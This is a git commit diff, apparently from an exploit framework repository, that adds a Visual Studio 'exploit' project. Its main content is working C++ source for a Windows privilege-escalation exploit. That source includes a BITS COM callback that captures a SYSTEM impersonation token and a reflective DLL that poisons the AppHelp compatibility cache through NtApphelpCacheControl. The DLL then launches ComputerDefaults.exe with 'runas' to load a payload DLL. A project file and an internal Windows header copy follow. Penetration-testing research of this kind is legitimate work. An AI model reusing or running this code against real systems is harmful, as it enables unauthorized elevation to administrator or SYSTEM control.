Merge remote-tracking branch 'live/master' into feature/memcached-module

bug/bundler_fix
pdeardorff-r7 2015-01-16 09:57:17 -08:00
commit f1bcbb7d78
23 changed files with 2915 additions and 39 deletions

Binary file not shown.

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,228 @@
#include "stdafx.h"
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <iostream>
#include <exception>
#include <string>
#include <comdef.h>
#include <memory>
#include <new>
#include <sddl.h>
// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown
{
LONG m_lRefCount;
HANDLE* m_ptoken;
void TryImpersonate()
{
if (*m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
{
*m_ptoken = hToken;
RevertToSelf();
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
public:
//Constructor, Destructor
FakeObject(HANDLE* ptoken) {
m_lRefCount = 1;
m_ptoken = ptoken;
*m_ptoken = nullptr;
}
~FakeObject() {};
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
TryImpersonate();
if (riid == __uuidof(IUnknown))
{
*ppvObj = this;
}
else if (riid == IID_FakeInterface)
{
printf("Check for FakeInterface\n");
*ppvObj = this;
}
else
{
*ppvObj = NULL;
return E_NOINTERFACE;
}
AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
TryImpersonate();
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
TryImpersonate();
// not thread safe
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
};
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
bool DoCaptureToken(HANDLE* ptoken)
{
// If CoInitializeEx fails, the exception is unhandled and the program terminates
IBackgroundCopyJobPtr pJob;
try
{
//The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE.
HRESULT hr = CoInitializeSecurity(NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_DYNAMIC_CLOAKING,
0);
if (FAILED(hr))
{
throw _com_error(hr);
}
// Connect to BITS.
IBackgroundCopyManagerPtr pQueueMgr;
IMonikerPtr pNotify;
CreatePointerMoniker(new FakeObject(ptoken), &pNotify);
hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr));
if (FAILED(hr))
{
// Failed to connect.
throw _com_error(hr);
}
GUID guidJob;
hr = pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob);
if (FAILED(hr))
{
// Failed to connect.
throw _com_error(hr);
}
pJob->SetNotifyInterface(pNotify);
}
catch (const std::bad_alloc &)
{
wprintf(L"Memory allocation failed");
if (pJob)
{
pJob->Cancel();
}
return false;
}
catch (const _com_error &ex)
{
wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage());
if (pJob)
{
pJob->Cancel();
}
return false;
}
return true;
}
class CoInitializer
{
public:
CoInitializer()
{
CoInitialize(NULL);
}
~CoInitializer()
{
CoUninitialize();
}
};
HANDLE CaptureImpersonationToken()
{
CoInitializer coinit;
HANDLE token = nullptr;
if (DoCaptureToken(&token))
{
return token;
}
return nullptr;
}

View File

@ -0,0 +1,272 @@
//#include "stdafx.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "my_winternl.h"
#include "sdb.h"
#include <string>
#include <combaseapi.h>
#include <shellapi.h>
#define BUF_SIZE 0x108
#define MAX_ENV 32767
enum APPHELPCOMMAND
{
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
AppHelpRemove, // 1 -> 0x22007
AppHelpUpdate, // 2 -> 0x2200B (Admin)
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
AppHelpQueryModule, // 9 -> 0x220027
AppHelpRefresh, // 10 -> 0x22002B
AppHelpCheckForChange, // 11 -> 0x22002F
AppHelpQueryHwId, // 12 (doesnt go to driver, calls AchCacheQueryHwId)
};
struct ApphelpCacheControlData
{
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
DWORD query_flags; // 0x98;
DWORD cache_flags; // 0x9C
HANDLE file_handle; // 0xA0
HANDLE process_handle; // 0xA4
UNICODE_STRING file_name; // 0xA8
UNICODE_STRING package_name;// 0xB0
DWORD buf_len; // 0xB8
LPVOID buffer; // 0xBC
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
UNICODE_STRING module_name; // 0xEC (used for 9)
BYTE unkF4[0x14]; // 0xF4 -> 0x108
};
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HANDLE CaptureImpersonationToken();
struct APPHELP_QUERY
{
int match_tags[16];
int unk40[16];
int layer_tags[8];
int flags;
int main_tag;
int match_count;
int layer_count;
GUID exe_guid;
int unkC0[264 / 4];
};
BOOL resolveSdbFunctions();
extern SdbOpenDatabase SdbOpenDatabasePtr;
extern SdbCloseDatabase SdbCloseDatabasePtr;
extern SdbTagToString SdbTagToStringPtr;
extern SdbGetFirstChild SdbGetFirstChildPtr;
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
extern SdbGetNextChild SdbGetNextChildPtr;
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
{
TAG tmpTag = 0;
DWORD dwD = 0;
TAGID newtid = TAGID_NULL;
LPCTSTR tmp;
DWORD i = 0;
GUID guid;
newtid = SdbGetFirstChildPtr(db, tid);
while (newtid != TAGID_NULL)
{
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
tmp = SdbTagToStringPtr(tmpTag);
// process tag types
switch (tmpTag & 0xFFFF)
{
case TAG_EXE_ID:
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
{
if (IsEqualGUID(guid, exe_guid))
{
return tid;
}
}
break;
default:
break;
}
// recursive
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
{
TAGID ret = findExeByGuid(db, newtid, exe_guid);
if (ret != 0)
{
return ret;
}
}
// get next tag
newtid = SdbGetNextChildPtr(db, tid, newtid);
}
return 0;
}
TAGID GetTagForRegsvr32()
{
resolveSdbFunctions();
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
if (!db)
{
DWORD stat = GetLastError();
printf("Failed to load SDB file %d\n", stat);
return 0;
}
GUID guid;
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
SdbCloseDatabasePtr(db);
return ret;
}
LPWSTR GetEnvVar(LPWSTR env)
{
WCHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
DWORD CALLBACK ExploitMain(char * lpReserved)
{
WCHAR dllpath_buf[MAX_PATH];
WCHAR payloadPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
{
printf("Couldn't get fullpath to dll %d\n", GetLastError());
return 1;
}
std::wstring dllpath;
dllpath = L"\"";
dllpath += dllpath_buf;
dllpath += L"\"";
TAGID tag = GetTagForRegsvr32();
if (tag == 0)
{
printf("Failed to get SDB tag for regsvr32\n");
return 1;
}
printf("Found regsvr32.exe tag: %08X\n", tag);
HANDLE token = CaptureImpersonationToken();
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
ApphelpCacheControlData data = { 0 };
std::wstring exe = GetEnvVar(L"SystemRoot");
exe += L"\\System32\\ComputerDefaults.exe";
std::wstring full_path = L"\\??\\";
full_path += exe.c_str();
printf("Interposing on cache for %ls\n", full_path.c_str());
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, 0, 0);
if (data.file_handle == INVALID_HANDLE_VALUE)
{
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
return 1;
}
data.query_flags = 0xFF;
data.cache_flags = 1;
APPHELP_QUERY query = { 0 };
query.match_count = 1;
query.layer_count = 0;
query.match_tags[0] = tag;
query.unkC0[0] = 1;
data.buffer = &query;
data.buf_len = sizeof(query);
int status = -1;
// Ensure it the cache if flushed
fNtApphelpCacheControl(AppHelpRemove, &data);
if (SetThreadToken(nullptr, token))
{
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
RevertToSelf();
}
else
{
status = GetLastError();
}
if (status == 0)
{
LPCWSTR verb = L"runas";
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
}
else
{
printf("Error adding cache entry: %08X\n", status);
}
return 0;
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
ExploitMain((char*)lpReserved);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,106 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{41275E8F-395F-492A-9770-38FE2FAA9669}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>exploit</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="my_winternl.h" />
<ClInclude Include="sdb.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="CaptureImpersonationToken.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="sdb_functions.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,866 @@
#ifndef _WINTERNL_
#define _WINTERNL_
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#if (_WIN32_WINNT >= 0x0500)
#include <windef.h>
#ifdef __cplusplus
extern "C" {
#endif
//
// These data structures and type definitions are needed for compilation and
// use of the internal Windows APIs defined in this header.
//
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef CONST char *PCSZ;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;
typedef PSTRING PCANSI_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
//
// The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB
// and TEB structures are subject to changes between Windows releases; thus,
// the field offsets and reserved fields may change. The reserved fields are
// reserved for use only by the Windows operating systems. Do not assume a
// maximum size for these structures.
//
// Instead of using the InMemoryOrderModuleList field of the
// LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules
//
// Instead of using the IsBeingDebugged field of the PEB structure, use the
// Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent
//
// Instead of using the SessionId field of the PEB structure, use the Win32
// APIs GetCurrentProcessId and ProcessIdToSessionId
//
// Instead of using the Tls fields of the TEB structure, use the Win32 APIs
// TlsAlloc, TlsGetValue, TlsSetValue and TlsFree
//
// Instead of using the ReservedForOle field, use the COM API
// CoGetContextToken
//
// Sample x86 assembly code that gets the SessionId (subject to change
// between Windows releases, use the Win32 APIs to make your application
// resilient to changes)
// mov eax,fs:[00000018]
// mov eax,[eax+0x30]
// mov eax,[eax+0x1d4]
//
//
// N.B. Fields marked as reserved do not necessarily reflect the structure
// of the real struct. They may simply guarantee that the offets of
// the exposed fields are correct. When code matches this pattern,
//
// TYPE1 ExposedField1;
// BYTE ReservedBytes[b];
// PVOID ReservedPtrs[p];
// TYPE2 ExposedField2;
//
// or that pattern with ReservedBytes and ReservedPtrs swapped, it is
// likely that 'b' and 'p' are derived from the following system:
//
// GapThirtyTwo = 4p + b
// GapSixtyFour = 8p + b
//
// where GapThirtyTwo is the number of bytes between the two exposed
// fields in the 32-bit version of the real struct and GapSixtyFour
// is the number of bytes between the two exposed fields in the 64-bit
// version of the real struct.
//
// Also note that such code must take into account the alignment of
// the ReservedPtrs field.
//
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef
VOID
(NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) (
VOID
);
typedef struct _TEB {
PVOID Reserved1[12];
_PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle; // Windows 2000 only
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
} DUMMYUNIONNAME;
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef
VOID
(NTAPI *PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
_PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
ULONG RegistryQuotaAllowed;
ULONG RegistryQuotaUsed;
PVOID Reserved1;
} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
typedef struct _SYSTEM_BASIC_INFORMATION {
BYTE Reserved1[24];
PVOID Reserved2[4];
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
BYTE Reserved1[48];
} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
BYTE Reserved1[312];
} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
typedef struct _SYSTEM_EXCEPTION_INFORMATION {
BYTE Reserved1[16];
} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
typedef struct _SYSTEM_LOOKASIDE_INFORMATION {
BYTE Reserved1[32];
} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;
typedef struct _SYSTEM_INTERRUPT_INFORMATION {
BYTE Reserved1[24];
} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;
typedef struct _SYSTEM_POLICY_INFORMATION {
PVOID Reserved1[2];
ULONG Reserved2[3];
} SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1
} FILE_INFORMATION_CLASS;
typedef enum _PROCESSINFOCLASS {
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS;
typedef enum _THREADINFOCLASS {
ThreadIsIoPending = 16
} THREADINFOCLASS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45,
SystemPolicyInformation = 134,
} SYSTEM_INFORMATION_CLASS;
//
// Object Information Classes
//
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
ObjectTypeInformation = 2
} OBJECT_INFORMATION_CLASS;
//
// Public Object Information definitions
//
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {
ULONG Attributes;
ACCESS_MASK GrantedAccess;
ULONG HandleCount;
ULONG PointerCount;
ULONG Reserved[10]; // reserved for internal use
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION;
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG Reserved[22]; // reserved for internal use
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
#if (_WIN32_WINNT >= 0x0501)
//
// use the WTS API instead
// WTSGetActiveConsoleSessionId
// The active console id is cached as a volatile ULONG in a constant
// memory location. This x86 memory location is subject to changes between
// Windows releases. Use the WTS API to make your application resilient to
// changes.
//
#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) )
#endif // (_WIN32_WINNT >= 0x0501)
//
// These functions are intended for use by internal core Windows components
// since these functions may change between Windows releases.
//
#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length))
#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length))
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
//
// use the Win32 API instead
// CloseHandle
//
__kernel_entry NTSTATUS
NTAPI
NtClose(
IN HANDLE Handle
);
//
// use the Win32 API instead
// CreateFile
//
__kernel_entry NTSTATUS
NTAPI
NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);
//
// use the Win32 API instead
// CreateFile
//
__kernel_entry NTSTATUS
NTAPI
NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
//
// use the Win32 API instead
// N/A
//
__kernel_entry NTSTATUS
NTAPI
NtRenameKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING NewName
);
//
// use the Win32 API instead
// RegNotifyChangeKeyValue
//
__kernel_entry NTSTATUS
NTAPI
NtNotifyChangeMultipleKeys(
_In_ HANDLE MasterKeyHandle,
_In_opt_ ULONG Count,
_In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG CompletionFilter,
_In_ BOOLEAN WatchTree,
_Out_writes_bytes_opt_(BufferSize) PVOID Buffer,
_In_ ULONG BufferSize,
_In_ BOOLEAN Asynchronous
);
//
// use the Win32 API instead
// RegQueryValueEx
//
typedef struct _KEY_VALUE_ENTRY {
PUNICODE_STRING ValueName;
ULONG DataLength;
ULONG DataOffset;
ULONG Type;
} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;
__kernel_entry NTSTATUS
NTAPI
NtQueryMultipleValueKey(
_In_ HANDLE KeyHandle,
_Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,
_In_ ULONG EntryCount,
_Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,
_Inout_ PULONG BufferLength,
_Out_opt_ PULONG RequiredBufferLength
);
//
// use the Win32 API instead
// N/A
//
typedef enum _KEY_SET_INFORMATION_CLASS {
KeyWriteTimeInformation,
KeyWow64FlagsInformation,
KeyControlFlagsInformation,
KeySetVirtualizationInformation,
KeySetDebugInformation,
